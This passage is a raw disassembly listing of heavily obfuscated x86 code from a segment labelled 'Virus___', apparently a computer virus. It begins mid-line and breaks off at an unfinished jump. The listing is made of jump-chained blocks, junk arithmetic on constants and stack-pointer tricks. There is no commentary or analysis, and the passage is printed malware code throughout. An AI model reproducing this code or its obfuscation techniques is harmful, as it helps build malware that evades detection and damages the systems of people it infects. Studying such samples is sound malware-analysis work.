sub_545A2B+2B73j sub bp, 7C2Ah push bx mov bx, 2BDFh xor bp, bx pop bx push esi mov si, 4FC4h jmp loc_5444B8 ; --------------------------------------------------------------------------- loc_5482EB: ; CODE XREF: sub_545A2B+F71j push edx jmp loc_54D754 ; --------------------------------------------------------------------------- loc_5482F1: ; CODE XREF: sub_545A2B+285Dj pop ecx add ecx, 4 add ecx, 4 push ecx push [esp-32h+arg_32] mov ecx, [esp-2Eh+arg_2A] add esp, 4 pop [esp-32h+arg_2E] pop esp jmp loc_54EE7B ; --------------------------------------------------------------------------- loc_548312: ; CODE XREF: sub_54462C+Aj pop [esp-3Ah+arg_36] jmp loc_54AD40 ; --------------------------------------------------------------------------- loc_54831A: ; CODE XREF: sub_545A2B+273Aj mov ecx, esp jmp loc_547975 ; --------------------------------------------------------------------------- loc_548321: ; CODE XREF: sub_545A2B+25DCj pop ebx push ebx mov ebx, 64E54D54h sub ebx, 29923634h and ebx, 33035761h dec ebx jmp loc_54F1F2 ; --------------------------------------------------------------------------- loc_54833A: ; CODE XREF: sub_545A2B+2386j add edx, eax jmp loc_545B03 ; --------------------------------------------------------------------------- loc_548341: ; DATA XREF: Virus___:00542EE0o mov ax, word ptr [esp-2Ah+arg_26] jmp sub_54D5C0 ; --------------------------------------------------------------------------- loc_54834A: ; CODE XREF: sub_545A2B+9300j sub [esp-2Ah+arg_26], 11E720A4h pop eax sub esp, 4 mov [esp-2Ah+arg_26], ecx mov ecx, 11E720A4h add eax, ecx jmp loc_544957 ; --------------------------------------------------------------------------- loc_548367: ; CODE XREF: sub_545A2B+2A77j push edx mov dl, 34h xor dl, 17h add dl, 42h add bl, dl pop edx sub ah, bl jmp loc_54324D ; --------------------------------------------------------------------------- loc_54837A: ; CODE XREF: sub_545A2B+1FCAj mov ecx, 4 jmp loc_54CC59 ; --------------------------------------------------------------------------- loc_548384: ; CODE XREF: sub_545A2B-25CDj pop ebp push ebx mov ebx, 7F5A1508h push 4EF7h mov [esp-28h+arg_22+2], ecx push edi mov edi, 4E9C7ECFh push 70B9h mov [esp-20h+arg_1A+2], edi pop ecx mov edi, [esp-24h+arg_1E+2] add esp, 4 neg ecx xor ecx, 9DCFA3A2h sub ebx, 478B78DCh jmp loc_548568 ; --------------------------------------------------------------------------- loc_5483BB: ; CODE XREF: sub_545A2B+4236j mov ah, 0FEh jmp loc_54E66C ; --------------------------------------------------------------------------- loc_5483C2: ; CODE XREF: sub_545A2B-272Fj mov dh, 9Ch neg dh add dh, 2Ch xor bl, dh pop edx jmp loc_549383 ; --------------------------------------------------------------------------- loc_5483D1: ; CODE XREF: sub_545A2B+8FAFj add eax, edx pop edx xchg eax, [esp-1Ch+arg_16+2] pop esp add dx, 7E70h pop esi jmp loc_54BBA2 ; --------------------------------------------------------------------------- loc_5483E3: ; CODE XREF: sub_545A2B+1D9Cj add esp, 4 and ch, 3 sub ch, 6Ch sub al, ch push [esp-14h+arg_E+2] pop ecx push eax mov eax, esp jmp loc_54CE5F ; --------------------------------------------------------------------------- loc_5483FA: ; CODE XREF: sub_545A2B+7353j push edx push eax pop edx mov esi, edx pop edx pop eax sub esi, 64351945h and eax, esi mov esi, [esp-14h+arg_E+2] push edi mov edi, esp jmp loc_54AC17 ; --------------------------------------------------------------------------- loc_548414: ; CODE XREF: sub_545A2B+921Dj not dh jmp loc_5448DF ; --------------------------------------------------------------------------- loc_54841B: ; CODE XREF: sub_545A2B-27A5j sub esi, ebx jmp loc_545ED1 ; --------------------------------------------------------------------------- loc_548422: ; CODE XREF: sub_545A2B-1DBCj pop esp jmp loc_54D5D8 ; --------------------------------------------------------------------------- loc_548428: ; CODE XREF: sub_545A2B+22D8j push ecx mov ecx, 220197Fh jmp loc_5434C9 ; --------------------------------------------------------------------------- loc_548433: ; CODE XREF: sub_545A2B-14E5j pop ebx add ecx, 4 xchg ecx, [esp-26h+arg_22] pop esp push eax jmp loc_54BC72 ; --------------------------------------------------------------------------- loc_548444: ; CODE XREF: sub_545A2B+9EFj push edx mov edx, esp push 555Bh mov [esp-38h+arg_32+2], ebx mov ebx, 4 sub edx, 5B6D1C78h jmp loc_54717C ; --------------------------------------------------------------------------- loc_54845F: ; CODE XREF: sub_545A2B-31Cj sub bl, ch pop ecx push [esp-1Ah+arg_16] pop edx add esp, 4 movzx eax, al pop small word ptr [edi+eax*4] jmp loc_542F67 ; --------------------------------------------------------------------------- loc_548475: ; CODE XREF: sub_545A2B+7C66j pop ebp jmp sub_54CEC0 ; --------------------------------------------------------------------------- loc_54847B: ; CODE XREF: sub_545A2B+54F4j sub al, 0E1h add al, 0F8h jmp loc_549089 ; --------------------------------------------------------------------------- loc_548484: ; CODE XREF: sub_545A2B+153Cj sub ebp, 0FFFFFFFFh jmp loc_547DDC ; --------------------------------------------------------------------------- loc_54848F: ; CODE XREF: sub_545A2B+117j shr bh, 3 xor bh, 72h or bh, 25h add bh, 83h jmp loc_54EE02 ; --------------------------------------------------------------------------- loc_5484A0: ; CODE XREF: sub_545A2B+3F2Cj mov bl, 82h jmp loc_548367 ; --------------------------------------------------------------------------- loc_5484A7: ; DATA XREF: Virus___:00542EA4o lodsb sub al, 96h add al, 59h jmp loc_54A7D0 ; --------------------------------------------------------------------------- loc_5484B1: ; CODE XREF: sub_545A2B+4D1Dj mov [esp+14h+var_16+2], ecx jmp loc_5458F0 ; --------------------------------------------------------------------------- loc_5484B9: ; CODE XREF: sub_545A2B-DA6j pop ebp sub ebp, 50E86AEDh add ebp, eax add ebp, 50E86AEDh pop eax xchg ebp, [esp-20h+arg_1A+2] pop esp jmp loc_54E885 ; --------------------------------------------------------------------------- loc_5484D2: ; CODE XREF: sub_545A2B-8E4j xor edx, 329F0B31h jmp loc_54D008 ; --------------------------------------------------------------------------- loc_5484DD: ; CODE XREF: sub_545A2B+5082j pop ebx sub al, 0Eh sub al, ch jmp loc_54763B ; --------------------------------------------------------------------------- loc_5484E7: ; CODE XREF: sub_545A2B+79BBj xor ecx, ebp pop ebp sub eax, ecx pop ecx xor ebx, eax jmp loc_543D2C ; --------------------------------------------------------------------------- loc_5484F4: ; CODE XREF: sub_545A2B+5BAj add [esp-14h+arg_12+2], esi pop esi sub [esp-18h+arg_12+2], eax push ecx mov ecx, 5F7B1FD2h sub [esp-14h+arg_12+2], ecx jmp loc_549FA8 ; --------------------------------------------------------------------------- loc_54850B: ; CODE XREF: Virus___:00544D8Bj push 3BB0h jmp loc_54A3CD ; --------------------------------------------------------------------------- loc_548515: ; CODE XREF: sub_545A2B-E23j inc bl push eax mov al, 0AEh sub al, 0AFh jmp loc_54B38C ; --------------------------------------------------------------------------- loc_548521: ; CODE XREF: sub_545A2B-1899j mov edx, 6623DC8h shl edx, 4 inc edx inc edx sub edx, 18924615h sub edx, 4D883580h sub ebx, edx jmp loc_545DAA ; --------------------------------------------------------------------------- loc_54853E: ; CODE XREF: sub_5440AE-5D5j mov [esp-16h+arg_12], eax mov eax, 66CA1392h shl eax, 4 xor eax, 0EC86392h shl eax, 7 push edi mov edi, 57556909h or eax, edi mov edi, [esp-12h+arg_E] add esp, 4 push esi jmp loc_548DA4 ; --------------------------------------------------------------------------- loc_548568: ; CODE XREF: sub_545A2B+298Bj add ebx, ecx add ebx, 478B78DCh pop ecx not ebx jmp loc_54C6A3 ; --------------------------------------------------------------------------- loc_548578: ; CODE XREF: sub_545A2B+8E9Bj sub al, 0Ch mov ebx, [esp-2Ch+arg_26+2] push eax push esp pop eax push edx mov edx, 4 add eax, edx pop edx jmp loc_54BF44 ; --------------------------------------------------------------------------- loc_54858E: ; CODE XREF: Virus___:0054D625j add esp, 4 neg edx jmp loc_54C7E6 ; --------------------------------------------------------------------------- loc_54859B: ; CODE XREF: sub_54E622-150Cj xchg di, bp jmp loc_5482D1 ; --------------------------------------------------------------------------- loc_5485A3: ; CODE XREF: sub_545A2B-1C7Dj pop edi or edx, eax shl edx, 1 sub esp, 4 mov [esp-40h+arg_3A+2], ecx jmp sub_54EE9E ; --------------------------------------------------------------------------- loc_5485B6: ; CODE XREF: sub_545A2B+82F6j pop ebp push edi mov edi, 2 add ebx, edi pop edi xchg ebx, [esp-44h+arg_3E+2] pop esp jmp sub_54E622 ; --------------------------------------------------------------------------- loc_5485C9: ; CODE XREF: sub_545A2B+162Ej mov [esp+4+var_4], ebx mov ebx, 601C4888h jmp loc_5437BC ; --------------------------------------------------------------------------- loc_5485D6: ; CODE XREF: sub_545A2B+6242j push edi jmp loc_5493B5 ; --------------------------------------------------------------------------- loc_5485DC: ; CODE XREF: sub_545A2B+F47j add esp, 4 sub ecx, 0EA54F9Ah jmp loc_547EFB ; --------------------------------------------------------------------------- loc_5485EA: ; DATA XREF: Virus___:00542EE8o push [esp-40h+arg_3A+2] mov ecx, [esp-3Ch+arg_36+2] add esp, 4 sub esp, 4 mov [esp-3Ch+arg_36+2], ebp push 711Ch jmp loc_54C6C3 ; --------------------------------------------------------------------------- loc_548609: ; CODE XREF: sub_545A2B+435j add esi, ebx jmp loc_54A52C ; --------------------------------------------------------------------------- loc_548610: ; CODE XREF: sub_545A2B+6D5Dj mov eax, [esp-16h+arg_12] push ecx mov ecx, esp push eax push ebp mov ebp, 4 push ebx mov ebx, ebp mov eax, ebx pop ebx mov ebp, [esp-0Ah+arg_4+2] jmp loc_54A90D ; --------------------------------------------------------------------------- push [esp-0Ah+arg_4+2] pop ecx push esi push 1FD5h mov [esp+0], esp add dword ptr [esp+0], 4 push dword ptr [esp+0] jmp loc_54A3F8 ; --------------------------------------------------------------------------- loc_548644: ; CODE XREF: sub_545A2B+70B9j mov [esp+2+var_4+2], eax push ecx push edx mov edx, 4D4F4B29h mov ecx, edx pop edx xor ecx, 66245F12h jmp loc_549BD0 ; --------------------------------------------------------------------------- loc_54865C: ; CODE XREF: sub_545A2B-1852j mov edi, [esp-22h+arg_1E] add esp, 4 sub eax, edx jmp loc_54A7B1 ; --------------------------------------------------------------------------- loc_548669: ; CODE XREF: sub_545A2B+2CCEj pop eax or ebp, 5F2214B0h and ebp, 51C4B90h sub ebp, 5044B8Ch jmp loc_549765 ; --------------------------------------------------------------------------- loc_548681: ; CODE XREF: sub_545A2B+92D7j sub di, 29FAh jmp loc_54891D ; --------------------------------------------------------------------------- loc_54868B: ; DATA XREF: Virus___:00542E0Co push [esp-2Ah+arg_2A] mov eax, [esp-26h+arg_22] push edi push esp mov edi, [esp-1Eh+arg_1A] add esp, 4 add edi, 4 jmp loc_546B89 ; --------------------------------------------------------------------------- loc_5486A5: ; CODE XREF: sub_545A2B+8B48j mov ebp, esp push 6CD4h mov [esp-1Eh+arg_1A], edx mov edx, 46B97D7Dh shl edx, 2 shl edx, 8 shr edx, 2 or edx, 21541741h sub edx, 54B06AA5h jmp loc_54B590 ; --------------------------------------------------------------------------- loc_5486CE: ; CODE XREF: sub_545A2B+8BC4j add eax, ebx push edx mov edx, 1DAE31BDh add edx, 47002CDEh sub eax, edx pop edx push edi mov edi, 16446B0Ah add eax, edi pop edi add eax, 29F2657Eh jmp loc_546610 ; --------------------------------------------------------------------------- loc_5486F2: ; CODE XREF: sub_545A2B-1C19j sub eax, 0A30D7E5Bh mov ebp, eax jmp loc_548669 ; --------------------------------------------------------------------------- loc_5486FE: ; CODE XREF: sub_545A2B+47D8j xor edx, 2E3E79E6h jmp loc_5492A4 ; --------------------------------------------------------------------------- loc_548709: ; CODE XREF: sub_543419+6j mov [esp-4Ch+arg_46+2], edx mov dl, al mov bh, dl pop edx mov eax, [esp-50h+arg_4C] add esp, 4 not bh not bh dec bh jmp loc_54CA24 ; --------------------------------------------------------------------------- loc_548725: ; DATA XREF: Virus___:00542E34o lodsd push edx push ecx mov ecx, 536226A6h inc ecx add ecx, 4E8C5599h not ecx inc ecx jmp loc_54A1ED ; --------------------------------------------------------------------------- loc_54873C: ; CODE XREF: sub_545A2B+731Bj mov [esp-4Ch+arg_46+2], ebp mov ebp, 7D916C97h push esi jmp loc_54E3F8 ; --------------------------------------------------------------------------- loc_54874A: ; CODE XREF: sub_545A2B+5297j push ecx mov ecx, 43BB57DBh jmp loc_54973E ; --------------------------------------------------------------------------- loc_548755: ; CODE XREF: sub_545A2B+140Aj add esp, 4 push 107Ch mov [esp-30h+arg_2A+2], esi push [esp-30h+arg_2E+2] pop esi pop [esp-30h+arg_2A+2] pop esp btr word ptr [esp-38h+arg_32+2], ax pushf jmp loc_542F67 ; --------------------------------------------------------------------------- loc_548777: ; CODE XREF: sub_545A2B+975Fj pop eax add ebp, 0BE673A5Ah and eax, ebp pop ebp jmp loc_546DFB ; --------------------------------------------------------------------------- loc_548786: ; CODE XREF: Virus___:0054569Aj mov eax, [esp-3Ch+arg_36+2] add esp, 4 push 667Eh mov [esp-3Ch+arg_36+2], esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp-3Ch+arg_36+2] pop esp mov [esp-40h+arg_3A+2], edx mov edx, esp jmp loc_543BF7 ; --------------------------------------------------------------------------- loc_5487AD: ; CODE XREF: sub_545A2B-1805j sub edx, ebp pop ebp add edx, 64167DC7h sub edx, ebx sub edx, 64167DC7h jmp loc_54459D ; --------------------------------------------------------------------------- loc_5487C3: ; CODE XREF: sub_545A2B+5163j mov dh, cl mov ecx, [esp-1Ah+arg_16] add esp, 4 mov al, dh pop dx or al, 0B0h jmp loc_544055 ; --------------------------------------------------------------------------- loc_5487D9: ; CODE XREF: sub_545A2B-1F68j pop ecx mov ebx, esi jmp loc_547EB9 ; --------------------------------------------------------------------------- loc_5487E1: ; CODE XREF: sub_545A2B+5D18j sub ebp, 69FB394Ah sub eax, 55AE7FBAh add eax, 0BB45C40h sub eax, ebp sub eax, 0BB45C40h add eax, 55AE7FBAh pop ebp add ebp, eax pop eax jmp loc_54387F ; --------------------------------------------------------------------------- loc_548806: ; CODE XREF: sub_545A2B+FDDj push esp jmp loc_54A0FA ; --------------------------------------------------------------------------- loc_54880C: ; CODE XREF: sub_545A2B+7D86j add esi, 4 jmp loc_543C0C ; --------------------------------------------------------------------------- loc_548817: ; CODE XREF: sub_545A2B+7A3Aj push [esp-46h+arg_46] pop ecx pop [esp-46h+arg_42] not ecx xchg ecx, [esp-4Ah+arg_46] push [esp-4Ah+arg_46] pop eax push edx push esp pop edx push eax mov eax, 69823DDEh sub eax, 76411CF2h jmp loc_54E3A8 ; --------------------------------------------------------------------------- pop dword ptr fs:[edx] jmp loc_542F67 ; --------------------------------------------------------------------------- loc_548843: ; CODE XREF: sub_545A2B+7965j push dword ptr [edi+24h] push ecx pop dword ptr [edi+24h] jmp loc_54BC64 ; --------------------------------------------------------------------------- loc_54884F: ; CODE XREF: sub_545A2B+33D0j xor ecx, 8E53F97h shl ecx, 5 sub ecx, 18770683h xor ecx, 1E5B5AB2h jmp loc_54B2E7 ; --------------------------------------------------------------------------- loc_548869: ; CODE XREF: Virus___:0054F107j push 3715h mov [esp-3Eh+arg_3A], edi push esp mov edi, [esp-3Ah+arg_36] add esp, 4 jmp loc_546E68 ; --------------------------------------------------------------------------- loc_54887D: ; CODE XREF: sub_545A2B+3DD9j sub ebp, 0A9CDB536h mov edi, ebp pop ebp add eax, edi mov edi, [esp-42h+arg_3E] add esp, 4 jmp loc_5456D1 ; --------------------------------------------------------------------------- loc_548893: ; CODE XREF: sub_545A2B+3AF5j pop cx add al, dl mov edx, [esp-48h+arg_42+2] add esp, 4 push dx mov dl, 37h add al, dl pop dx sub al, bl jmp loc_5443E8 ; --------------------------------------------------------------------------- loc_5488AC: ; CODE XREF: sub_54D226-99ACj mov esp, [esp-4Ch+arg_46+2] jmp loc_54EE22 ; --------------------------------------------------------------------------- loc_5488B4: ; CODE XREF: sub_54F214+29j pop eax add edx, 4 xchg edx, [esp-50h+arg_4C] mov esp, [esp-50h+arg_4C] add ebp, 1 shl ebp, 3 not ebp push esi mov esi, 39920E47h jmp loc_549F63 ; --------------------------------------------------------------------------- loc_5488D4: ; CODE XREF: sub_545A2B+4541j mov edi, 0EF853AEh sub esi, edi pop edi inc esi sub esi, 95F3E1F3h xor ebp, esi pop esi jmp loc_548F31 ; --------------------------------------------------------------------------- loc_5488EB: ; CODE XREF: sub_545A2B-29Bj pop [esp-16h+arg_12] mov esp, [esp-1Ah+arg_16] jmp loc_54C179 ; --------------------------------------------------------------------------- loc_5488F6: ; CODE XREF: sub_545A2B+873Cj dec cl add cl, 7Bh sub bh, 30h add bh, cl jmp loc_54BA4D ; --------------------------------------------------------------------------- loc_548905: ; CODE XREF: sub_545A2B-19D4j add al, 2Fh sub bl, 18h sub bl, al add bl, 18h pop eax jmp loc_54EC88 ; --------------------------------------------------------------------------- loc_548915: ; CODE XREF: sub_545A2B+27C4j mov [esp-1Eh+arg_1A], ebx jmp loc_54CEF6 ; --------------------------------------------------------------------------- loc_54891D: ; CODE XREF: sub_545A2B+2C5Bj sub si, di pop edi add ax, si mov esi, [esp-2Eh+arg_2A] add esp, 4 shl ax, 6 jmp loc_5452FD ; --------------------------------------------------------------------------- loc_548936: ; DATA XREF: Virus___:00542E60o mov cx, word ptr [esp-32h+arg_2E] push esi mov esi, esp jmp loc_5469A1 ; --------------------------------------------------------------------------- loc_548942: ; CODE XREF: sub_5451FD-2F4j mov [esp-2Eh+arg_2A], ebp push [esp-2Eh+arg_2E] jmp loc_54A15C ; --------------------------------------------------------------------------- loc_54894E: ; CODE XREF: sub_545A2B+6C9j pop ebp push esi mov esi, 7372798Ch jmp loc_54413F ; --------------------------------------------------------------------------- loc_54895A: ; CODE XREF: sub_545A2B+1A4Fj mov ebx, 4DBC37A7h push 4B84h mov [esp-22h+arg_1E], ebp mov ebp, 15AF3F31h not ebp or ebp, 1455182Eh xor ebp, 0F61DD4B5h neg ebp inc ebp or ebp, 399A3D46h xor ebp, 8DA3EA99h sub eax, ebp mov ebp, [esp-22h+arg_1E] jmp loc_5478C2 ; --------------------------------------------------------------------------- loc_548993: ; CODE XREF: sub_545A2B+2626j add eax, 0BD3D5839h mov esi, eax mov eax, [esp-16h+arg_12] push ebx mov ebx, esp add ebx, 4 jmp loc_54EC54 ; --------------------------------------------------------------------------- loc_5489AB: ; CODE XREF: sub_545A2B-1F7j push esi mov esi, esp jmp loc_54557D ; --------------------------------------------------------------------------- loc_5489B3: ; CODE XREF: sub_545A2B+1D73j add edx, 0FFA00315h add esi, 51D1D89h add esi, edx push ebx mov ebx, 64881670h inc ebx shr ebx, 6 jmp loc_54E16C ; --------------------------------------------------------------------------- loc_5489D0: ; CODE XREF: sub_545A2B+443Dj add eax, 4 sub eax, 4 xor eax, [esp-30h+arg_2A+2] xor [esp-30h+arg_2A+2], eax jmp loc_5460CA ; --------------------------------------------------------------------------- loc_5489E5: ; CODE XREF: sub_545A2B+7FC4j xchg ecx, [esp-30h+arg_2A+2] pop esp imul ecx, eax push ecx pushf jmp loc_542F67 ; --------------------------------------------------------------------------- loc_5489F3: ; CODE XREF: sub_545A2B+32C5j dec ebx not ebx sub ebx, 0E75E665Bh push edx mov edx, ebx mov ecx, edx pop edx pop ebx sub esp, 4 mov [esp-2Ch+arg_26+2], ebx mov ebx, 7BCB1FD0h and ecx, ebx mov ebx, [esp-2Ch+arg_26+2] add esp, 4 add ecx, 0FFFFFFFFh add ecx, 53A57B8Eh dec ecx or ecx, 22D02A5Ch add ecx, 0E9527C7Fh jmp loc_54AB6C ; --------------------------------------------------------------------------- loc_548A37: ; CODE XREF: sub_545A2B+C3Cj sub eax, 2A407914h pop ecx push edi jmp loc_546FF2 ; --------------------------------------------------------------------------- loc_548A43: ; CODE XREF: sub_545A2B+663Fj xor [esp-40h+arg_3A+2], eax xor eax, [esp-40h+arg_3A+2] pop esp sub esp, 4 mov [esp-40h+arg_3A+2], esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp-40h+arg_3A+2] jmp loc_54B3A2 ; --------------------------------------------------------------------------- mov cx, word ptr [esp-40h+arg_3A+2] jmp loc_545CBE ; --------------------------------------------------------------------------- loc_548A6F: ; CODE XREF: sub_545A2B+2636j dec edi xor edi, 68074F5Dh shl edi, 2 jmp loc_545E09 ; --------------------------------------------------------------------------- loc_548A7E: ; CODE XREF: sub_545A2B+66C5j xchg edi, [esp-20h+arg_1A+2] pop esp jmp loc_54BB70 ; --------------------------------------------------------------------------- loc_548A87: ; CODE XREF: sub_545A2B+42EDj add eax, 6A13BB7h jmp loc_547642 ; --------------------------------------------------------------------------- loc_548A91: ; CODE XREF: sub_545A2B+4659j sub eax, edi pop edi add eax, 76CF6A20h and eax, 661D08CCh xor eax, 260108C4h add edx, eax pop eax xchg edx, [esp-2Ch+arg_26+2] pop esp sub esp, 4 mov [esp-2Ch+arg_26+2], ecx mov ecx, esp jmp loc_546235 ; --------------------------------------------------------------------------- loc_548ABA: ; CODE XREF: sub_545A2B+9721j sub ecx, 4E3251CAh sub ecx, edx add ecx, 4E3251CAh add ecx, 88D0AACh pop edx push ecx push [esp-2Ch+arg_2A+2] pop ecx pop [esp-2Ch+arg_26+2] jmp loc_54DA8C ; --------------------------------------------------------------------------- loc_548ADD: ; CODE XREF: sub_545A2B+89C8j jmp loc_542F67 ; --------------------------------------------------------------------------- loc_548AE2: ; CODE XREF: sub_545A2B+7D46j push eax mov eax, 4D4373E7h mov esi, 49D4EB96h xor esi, eax mov eax, [esp-2Ch+arg_26+2] add esp, 4 sub eax, 40112DE0h sub eax, esi add eax, 40112DE0h jmp loc_54C3CF ; --------------------------------------------------------------------------- loc_548B09: ; CODE XREF: sub_545A2B+7FA2j mov edi, [esp-30h+arg_2A+2] add esp, 4 push ebp push esi push 7ED7h mov [esp-28h+arg_22+2], eax mov eax, 11F426AAh mov esi, eax pop eax push 2875A28h pop ebp xor ebp, esi pop esi push eax mov eax, 27B36FEEh add ebp, eax mov eax, [esp-2Ch+arg_26+2] add esp, 4 push eax jmp loc_545CF9 ; --------------------------------------------------------------------------- loc_548B3E: ; CODE XREF: sub_542FBE+A5B1j pop edi pop esi mov edx, ebx pop ebx loc_548B43: ; CODE XREF: sub_545A2B-2783j ; sub_545A2B+13D2j push edi push 9FFh mov [esp-30h+arg_2A+2], ebx push [esp-30h+arg_2A+2] pop edi add esp, 4 push ebp mov ebp, edi mov eax, ebp pop ebp push [esp-34h+arg_2E+2] mov edi, [esp-30h+arg_2A+2] add esp, 4 push 345h mov [esp-30h+arg_2A+2], ebx push esp pop ebx add ebx, 4 add ebx, 4 xchg ebx, [esp-30h+arg_2A+2] pop esp push 23C8h mov [esp-30h+arg_2A+2], edx sub esp, 4 mov [esp-2Ch+arg_26+2], eax push 64B97642h mov eax, [esp-28h+arg_22+2] add esp, 4 mov edx, 25DD043Ah xor edx, eax pop eax xor edx, 41E47278h and eax, edx push [esp-30h+arg_2A+2] mov edx, [esp-2Ch+arg_26+2] push esi jmp loc_5477E5 ; --------------------------------------------------------------------------- loc_548BB4: ; CODE XREF: sub_545A2B+3E52j push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp-24h+arg_1E+2] pop esp sub esp, 4 mov [esp-24h+arg_1E+2], ecx jmp loc_543F9A ; --------------------------------------------------------------------------- loc_548BCF: ; CODE XREF: sub_545A2B-1A03j add esp, 4 shl esi, 8 sub esi, 0FFFF7EFCh add ecx, esi pop esi sub ecx, 4 xchg ecx, [esp-32h+arg_2E] jmp loc_542FDA ; --------------------------------------------------------------------------- loc_548BEF: ; CODE XREF: sub_545A2B-1B72j mov ecx, 8558CAFAh add ecx, 181F57D8h add ecx, edx sub ecx, 181F57D8h pop edx add ebp, ecx pop ecx push ebp push [esp-3Ch+arg_3A+2] pop ebp pop [esp-3Ch+arg_36+2] jmp loc_54758B ; --------------------------------------------------------------------------- loc_548C14: ; CODE XREF: sub_545A2B-1F36j push edx mov dh, 0A6h jmp loc_54C3FA ; --------------------------------------------------------------------------- loc_548C1C: ; CODE XREF: sub_545A2B+1C33j mov [esp-3Eh+arg_3A], edx push edi jmp loc_546F9C ; --------------------------------------------------------------------------- loc_548C25: ; CODE XREF: sub_545A2B+194Aj inc dl add dl, 0A7h xor cl, dl jmp loc_54B558 ; --------------------------------------------------------------------------- loc_548C31: ; CODE XREF: sub_545A2B-1C0Fj mov esi, 32483D0Dh sub edi, esi pop esi std push 0Ah mov ecx, [esp-50h+arg_4C] push 2367h mov [esp-4Ch+arg_46+2], edx push ecx mov ecx, esp add ecx, 4 sub ecx, 4 jmp loc_54F350 ; --------------------------------------------------------------------------- loc_548C5B: ; CODE XREF: sub_545A2B+5C53j mov eax, 0 sub eax, 46E43C4Eh jmp loc_54A645 ; --------------------------------------------------------------------------- loc_548C6A: ; CODE XREF: sub_545A2B-18BCj add eax, 4 xchg eax, [esp-1Ah+arg_16] pop esp jmp loc_54E791 ; --------------------------------------------------------------------------- loc_548C78: ; CODE XREF: sub_54EC77+Cj push esp pop ebx add ebx, 4 push ebp mov ebp, 2C3C7139h push edi jmp loc_54C303 ; --------------------------------------------------------------------------- loc_548C8C: ; CODE XREF: sub_545A2B+452j mov ecx, 29954510h push edx mov edx, 7DFE15C3h or edx, 5E6C316Eh xor edx, 798267B1h xor edx, 2A137026h jmp loc_544006 ; --------------------------------------------------------------------------- loc_548CAE: ; CODE XREF: sub_545A2B+5985j push ebx jmp loc_54B260 ; --------------------------------------------------------------------------- loc_548CB4: ; CODE XREF: sub_545A2B-16Cj add edx, 612A89C2h jmp loc_54D286 ; --------------------------------------------------------------------------- loc_548CBF: ; CODE XREF: sub_545A2B+4772j xor ebx, ecx jmp loc_545551 ; --------------------------------------------------------------------------- loc_548CC6: ; CODE XREF: sub_545A2B+3D3Cj pop ebp add ebx, 2 push ebx push [esp-1Eh+arg_1E] mov ebx, [esp-1Ah+arg_16] push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_54C6E2 ; --------------------------------------------------------------------------- loc_548CE6: ; CODE XREF: sub_545A2B-284Cj push ecx push ebx mov ebx, 446273BCh shr ebx, 4 jmp loc_5489F3 ; --------------------------------------------------------------------------- loc_548CF5: ; CODE XREF: sub_545A2B+6396j xor ebx, 7C4C2BCBh jmp loc_54F2C7 ; --------------------------------------------------------------------------- loc_548D00: ; CODE XREF: sub_545A2B+74CEj mov cl, 0B3h push eax jmp loc_54EA25 ; --------------------------------------------------------------------------- loc_548D08: ; CODE XREF: sub_545A2B-40Ej sub esp, 4 mov [esp+0], esp push ebp jmp loc_54B26F ; --------------------------------------------------------------------------- loc_548D17: ; CODE XREF: sub_545A2B-216j push eax push dword ptr [esp+4] pop eax pop [esp-8+arg_4] mov esp, [esp+0] jmp loc_545714 ; --------------------------------------------------------------------------- loc_548D28: ; CODE XREF: sub_545A2B+4F9Aj jmp loc_542F67 ; --------------------------------------------------------------------------- loc_548D2D: ; CODE XREF: sub_54ECC0-A7F1j push ecx jmp loc_54A931 ; --------------------------------------------------------------------------- loc_548D33: ; CODE XREF: sub_54D63C-90A4j pop edi sub edi, 7B211F18h and edi, 4E9E2038h jmp loc_546B5D ; --------------------------------------------------------------------------- loc_548D45: ; CODE XREF: sub_545A2B+11F0j pop eax sub eax, 60B091Ah not eax inc eax neg eax jmp loc_54D36E ; --------------------------------------------------------------------------- loc_548D55: ; CODE XREF: sub_545A2B+15F0j mul ecx push edx jmp loc_54C40E ; --------------------------------------------------------------------------- loc_548D5D: ; CODE XREF: Virus___:005449DDj push eax mov eax, 4 add edx, eax pop eax push ebp push 423C2AC0h push [esp+4+var_4] pop ebp add esp, 4 sub esp, 4 mov [esp+4+var_4], edx mov edx, 4981086Bh jmp loc_54ACA5 ; --------------------------------------------------------------------------- loc_548D89: ; CODE XREF: sub_545A2B-12A5j sub eax, 47F03F09h jmp loc_5463C4 ; --------------------------------------------------------------------------- loc_548D93: ; CODE XREF: sub_545A2B-1709j push ecx mov ecx, 643D1C3Dh xor ecx, 52D72E72h jmp loc_547A20 ; --------------------------------------------------------------------------- loc_548DA4: ; CODE XREF: sub_545A2B+2B38j mov esi, 2A1740B7h xor eax, esi pop esi push ecx mov ecx, 3DCB5E4Ch xor eax, ecx jmp loc_54D2B0 ; --------------------------------------------------------------------------- loc_548DB9: ; CODE XREF: sub_545A2B+360Ej push eax jmp loc_544838 ; --------------------------------------------------------------------------- loc_548DBF: ; CODE XREF: Virus___:00545284j add esp, 4 xchg edx, [esp-12h+arg_E] jmp loc_54D1FC ; --------------------------------------------------------------------------- loc_548DCD: ; CODE XREF: sub_545A2B+944Bj xor edi, 0F0B88C5Ch mov eax, edi pop edi add eax, 273F7C80h xor eax, 7EF1F1A6h add ebp, eax jmp loc_54B317 ; --------------------------------------------------------------------------- loc_548DE7: ; CODE XREF: sub_545A2B+54FFj sub bl, 0B5h push eax mov al, bl mov cl, al pop eax pop ebx jmp loc_54EEBE ; --------------------------------------------------------------------------- loc_548DF6: ; CODE XREF: sub_545A2B+99F7j mov ecx, 250E69A1h jmp loc_54884F ; --------------------------------------------------------------------------- loc_548E00: ; CODE XREF: sub_545A2B+69CAj mov eax, [esp-1Ah+arg_16] push edi jmp loc_54E561 ; --------------------------------------------------------------------------- loc_548E09: ; CODE XREF: sub_545A2B+84F2j mov ebp, 6303349Ah and ebp, 41C95518h not ebp shr ebp, 8 or ebp, 6BCA7A73h or ebp, 6BEC5AFBh add ebp, 877B6853h xor edx, ebp jmp loc_54C538 ; --------------------------------------------------------------------------- loc_548E32: ; CODE XREF: sub_545A2B+8DB9j add edi, 9B3CE268h add ebp, edi pop edi xchg ebp, [esp-1Ah+arg_16] jmp loc_543F8B ; --------------------------------------------------------------------------- loc_548E43: ; DATA XREF: Virus___:00542EF8o push 6BB4h jmp loc_5443AB ; --------------------------------------------------------------------------- loc_548E4D: ; CODE XREF: sub_545A2B+695Aj inc edi xor edi, 488B088Eh xor ebx, edi mov edi, [esp-16h+arg_12] add esp, 4 jmp 